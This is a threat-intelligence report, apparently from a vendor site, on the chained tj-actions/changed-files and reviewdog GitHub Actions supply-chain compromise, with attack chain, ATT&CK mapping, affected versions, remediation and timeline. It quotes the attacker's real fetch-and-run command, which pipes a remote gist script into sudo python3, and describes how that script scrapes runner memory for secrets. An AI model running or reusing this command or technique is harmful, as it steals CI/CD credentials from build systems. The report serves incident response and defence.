Threat reportSupply ChainTL-2026-2130
GitHub Actions Supply Chain Attack: tj-actions & reviewdog Compromise (CVE-2025-30066, CVE-2025-30154)
GitHub Actions Supply Chain Attack (TL-2026-2130), also tracked as tj-actions/changed-files supply chain attack, is a critical-severity supply-chain compromise scored CVSS 8.6, first published 2026-08-24 and last reviewed 2026-10-16. It has no confirmed attribution, affects tj-actions changed-files, references 2 CVEs (CVE-2025-30066, CVE-2025-30154), maps to 19 MITRE ATT&CK techniques (T1003.007, T1005, T1027.010), and is covered by 9 detection rules and 29 indicators of compromise.
- CVSS
- 8.6/10Critical
- CVEs
- 2Referenced vulnerabilities
- Techniques
- 19MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 29Indicators of compromise
Key facts for TL-2026-2130
- Threat ID
- TL-2026-2130
- Also known as
- tj-actions/changed-files supply chain attack, reviewdog/action-setup supply chain attack
- Severity
- CRITICAL
- CVSS
- 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
- Status
- PATCHED
- Category
- SUPPLY_CHAIN
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- technology, finance, cryptocurrency, software-development, open-source
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 29
- Updates
- 2026-10-16 · revalidated 1× · latest source
Malware and tooling in GitHub Actions Supply Chain Attack
Malware and tooling: memdump.py
How GitHub Actions Supply Chain Attack works
A months-long GitHub Actions supply-chain compromise leaked a maintainer PAT from spotbugs/sonar-findbugs via a poisoned-pipeline-execution PR, used it to hijack reviewdog/action-setup and several downstream reviewdog actions, then rode that into tj-actions/eslint-changed-files to steal a PAT for tj-actions/changed-files. The attacker first used the access for a narrow, failed strike on Coinbase's coinbase/agentkit repo, then within two hours re-tagged all tj-actions/changed-files versions (v1-v45.0.7) to a malicious commit that dumped GitHub Actions runner process memory and printed double-base64-encoded secrets into public workflow logs, exposing CI/CD credentials across roughly 218 of the 23,000+ dependent repositories.
This campaign is a chained GitHub Actions supply-chain compromise tracked as CVE-2025-30066 (tj-actions/changed-files) and CVE-2025-30154 (reviewdog/action-setup and its dependents), both rated CVSS 3.1 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) under CWE-506 (Embedded Malicious Code), and both added to the CISA Known Exploited Vulnerabilities catalog.
Root cause and initial access: on 2024-11-28 a spotbugs/sonar-findbugs maintainer (SPTBGS_MNTNR) added a personal access token (PAT) to a repository workflow. On 2024-12-06 an attacker submitted malicious pull request #1116 that abused the `pull_request_target` trigger (a well-known GitHub Actions poisoned-pipeline-execution, PPE, class of bug) by modifying the `mvnw` wrapper file in a fork; when CI executed it, the maintainer's PAT was exfiltrated via a workflow artifact encrypted with an attacker-controlled RSA key so only the attacker could decrypt it.
Lateral movement to reviewdog: on 2025-03-11 at 10:50 UTC the attacker used the stolen PAT to invite a disposable account, jurkaofavak, to spotbugs/spotbugs with write access. Two minutes later that account pushed a short-lived branch (hewrkbwkyk) that encrypted and exfiltrated repository secrets the same way, this time capturing the reviewdog maintainer's (RD_MNTNR) PAT, which had access to both spotbugs/spotbugs and reviewdog/action-setup. Starting 17:06 UTC the attacker (via disposable fork account iLrmKCu86tjwp8) pushed 13 malicious commits to a reviewdog/action-setup fork and 15 to a reviewdog/action-typos fork, then repointed the reviewdog/action-setup v1 tag to a malicious commit at 18:42-20:31 UTC. Because tag updates are not recorded in GitHub audit logs on free-tier repos and fork commits appear as "dangling" references, this stayed largely invisible.
Escalation to tj-actions and Coinbase targeting: tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1, so its own CI runs then executed the malicious code and leaked a GitHub token with write access to tj-actions/changed-files. Two more disposable accounts appeared: 2ft2dKo28UazTZ (2025-03-12 15:28 UTC) forked Coinbase's onchainkit, agentkit, and x402 repos and experimented with tj-actions/changed-files tag v39, the exact tag referenced by coinbase/agentkit's changelog.yml workflow; mmvojwip (2025-03-13 20:36 UTC) created further coinbase/agentkit forks and repointed workflow references to a dangling commit disguised as github-actions[bot]. On 2025-03-14 at 15:10 UTC the attacker obtained a token with write access to coinbase/agentkit and triggered the targeted payload; Coinbase's maintainer deleted the vulnerable changelog.yml workflow at 16:37 UTC, roughly 87 minutes later, and Coinbase confirmed no assets were impacted.
Broad campaign: at 16:57 UTC that same day, roughly two hours after the Coinbase attempt, the attacker overrode every git tag on tj-actions/changed-files (v1 through v45.0.7) to point at malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67, disguised to look like a renovate[bot] contribution. The injected code ran `curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`, a script that scans `/proc/[pid]/cmdline` to find the Runner.Worker process, reads `/proc/[pid]/mem`, extracts JSON objects flagged `"isSecret":true`, and prints them as double-base64-encoded strings directly into the (often public) workflow log. StepSecurity's Harden-Runner flagged the anomalous outbound connection to gist.githubusercontent.com the same evening; GitHub took the tj-actions/changed-files repository down around 10:30 UTC on 2025-03-15, deleted the exfiltration gist, and restored the repo with the malicious code removed by 22:00 UTC, shipping patched release v46.0.1. Although the action was used by 23,000+ repositories, deeper analysis found only about 218 public repositories actually leaked secrets in their logs. Attribution is unresolved: the attacker cleaned up by getting GitHub to auto-hide their disposable accounts (invalid/disposable emails) and, per Unit 42, it remains an open question why an operation this patient and well-resourced blew its cover by printing secrets into public logs rather than exfiltrating covertly.
MITRE ATT&CK techniques used in TL-2026-2130
Credential Access
T1003.007 Proc Filesystem; T1528 Steal Application Access Token; T1552.007 Unsecured Credentials
Collection
Defense Evasion
T1027.010 Obfuscated Files or Information; T1036 Masquerading
Discovery
Execution
T1059.004 Command and Scripting Interpreter; T1059.006 Python
Initial Access
T1078 Valid Accounts; T1190 Exploit Public-Facing Application; T1195.001 Compromise Software Dependencies and Development Tools; T1195.002 Supply Chain Compromise; T1199 Trusted Relationship
Command and Control
T1105 Ingress Tool Transfer; T1132.001 Standard Encoding
Persistence
Lateral Movement
T1550.001 Application Access Token
Exfiltration
Affected products and versions in GitHub Actions Supply Chain Attack
- tj-actions — changed-files
Vulnerable versions: v1-v45.0.7
Fixed in: v46.0.1 - tj-actions — eslint-changed-files
Vulnerable versions: compromised via reviewdog/action-setup dependency
Fixed in: post-incident update - reviewdog — action-setup
Vulnerable versions: v1 (2025-03-11 18:42-20:31 UTC compromise window)
Fixed in: post-incident update - reviewdog — action-shellcheck
Vulnerable versions: <=1.29.2
Fixed in: post-incident update - reviewdog — action-composite-template
Vulnerable versions: <=0.20.2
Fixed in: post-incident update - reviewdog — action-staticcheck
Vulnerable versions: <=1.26.2
Fixed in: post-incident update - reviewdog — action-ast-grep
Vulnerable versions: <=1.26.2
Fixed in: post-incident update - reviewdog — action-typos
Vulnerable versions: <=1.17.2
Fixed in: post-incident update - spotbugs — sonar-findbugs
Vulnerable versions: pre-2024-12-06 pull_request_target configuration (initial-access vector)
Fixed in: workflow hardened post-incident
Remediation for GitHub Actions Supply Chain Attack
Patches
- tj-actions/changed-files v46.0.1 (malicious tags removed, repository restored)
- reviewdog/action-setup and downstream actions (action-shellcheck, action-composite-template, action-staticcheck, action-ast-grep, action-typos) updated post-incident to remove malicious commits/tags
Immediate actions
- Cease all use of tj-actions/changed-files, tj-actions/eslint-changed-files, and the affected reviewdog actions across every branch and workflow
- Search all repositories for references to the compromised tags/commit SHAs using the GitHub code-search queries published by StepSecurity and CISA
- Review historical GitHub Actions workflow run logs for double-base64-encoded strings indicating secret exposure
- Rotate every credential that could have transited an affected workflow: cloud access keys, GitHub PATs, npm tokens, and private/RSA keys
- Delete affected workflow run logs after securely capturing any evidence needed for incident response
Workarounds
- Temporarily replace affected Actions with a vetted fork pinned to a known-clean commit SHA until upstream trust is re-established
- Disable or gate workflows that reference the affected actions pending manual review of each pipeline
Longer-term hardening
- Pin every third-party GitHub Action to a full-length immutable commit SHA rather than a mutable version tag or branch
- Restrict which third-party Actions can run via GitHub's Actions allow-list / organization policy
- Avoid or tightly scope the pull_request_target trigger to prevent poisoned-pipeline-execution from forked PRs
- Deploy CI/CD runtime behavior monitoring (e.g. StepSecurity Harden-Runner) to detect anomalous outbound network connections from build agents
- Restrict public visibility of workflow logs on public repositories where secrets may transit CI
CVEs associated with GitHub Actions Supply Chain Attack
Weaknesses (CWE) in GitHub Actions Supply Chain Attack
Timeline of GitHub Actions Supply Chain Attack
- spotbugs/sonar-findbugs maintainer (SPTBGS_MNTNR) adds a personal access token to a repository workflow, later leaked.
- Attacker submits malicious PR #1116 to spotbugs/sonar-findbugs abusing the pull_request_target trigger (poisoned pipeline execution) to exfiltrate the maintainer's PAT.
- Coinbase creates a changelog workflow in coinbase/agentkit that depends on tj-actions/changed-files v39, later targeted by the attacker (Unit 42).
- Between 17:06 and 20:31 UTC the attacker pushes 13 malicious commits to a reviewdog/action-setup fork and 15 to reviewdog/action-typos, then repoints the action-setup v1 tag to the malicious commit (CVE-2025-30154 compromise window).
- Disposable account jurkaofavak is invited to spotbugs/spotbugs with write access at 10:50 UTC and pushes a short-lived branch that exfiltrates the reviewdog maintainer's (RD_MNTNR) PAT.
- Disposable account 2ft2dKo28UazTZ forks Coinbase's onchainkit, agentkit, and x402 repos and begins testing against tj-actions/changed-files tag v39.
- Disposable account mmvojwip creates additional coinbase/agentkit forks and repoints workflow references to a dangling commit disguised as github-actions[bot].
- StepSecurity's Harden-Runner detects an anomalous outbound connection to gist.githubusercontent.com and confirms the tj-actions/changed-files compromise.
- At 16:57 UTC the attacker overrides all tj-actions/changed-files tags (v1-v45.0.7) to point at malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67, disguised as a renovate[bot] contribution (CVE-2025-30066 begins).
- Coinbase maintainer deletes the vulnerable changelog.yml workflow at 16:37 UTC, roughly 87 minutes after exposure; Coinbase later confirms no asset impact.
- At 15:10 UTC the attacker obtains a write-access token to coinbase/agentkit and triggers the malicious payload in a targeted strike.
- tj-actions/changed-files is restored with the malicious code removed by 22:00 UTC and patched release v46.0.1 ships.
- GitHub takes down the tj-actions/changed-files repository around 10:30 UTC; the exfiltration gist is deleted.
- CISA publishes a joint alert on the tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup (CVE-2025-30154) compromise.
- CVE-2025-30154 is published for reviewdog/action-setup@v1 and downstream reviewdog actions.
- CISA adds CVE-2025-30154 to the Known Exploited Vulnerabilities catalog, underscoring confirmed in-the-wild exploitation.
- Unit 42 (Palo Alto Networks) publishes the full attack-chain analysis linking spotbugs, reviewdog, tj-actions, and the Coinbase targeting.
Update history for TL-2026-2130
- 2026-10-16 — GitHub Actions Supply Chain Attacks: tj-actions/changed-files & reviewdog (CVE-2025-30066, CVE-2025-30154): What changed No severity, exploitability or status escalation. The newer report lists status MONITORING versus the existing PATCHED; this is not an escalation and is ignored. New indicators (6) 6 new indicators: short-hash dangling commit b
Sources cited for GitHub Actions Supply Chain Attack
- GitHub Actions Supply Chain Attack(s): tj-actions & reviewdog
- Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154)
- GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident
- GitHub Action tj-actions/changed-files supply chain attack
- New GitHub Action supply chain attack: reviewdog/action-setup
- Harden-Runner detection: tj-actions/changed-files action is compromised
- Popular GitHub Action tj-actions/changed-files is compromised
- tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs (GHSA-mrrh-fwg8-r2c3)
- Multiple Reviewdog actions were compromised during a specific time period (GHSA-qmg3-hpqr-gqvc)
- NVD - CVE-2025-30066
- NVD - CVE-2025-30154
- Coinbase was primary target of recent GitHub Actions breaches
- Coinbase Initially Targeted in GitHub Actions Supply Chain Attack; 218 Repositories' CI/CD Secrets Exposed
- GitHub restores code following malicious changes to tj-actions tool
Detection coverage for TL-2026-2130
As of 2026-10-16, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2130 across Splunk SPL, Microsoft KQL and Sigma, covering 29 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.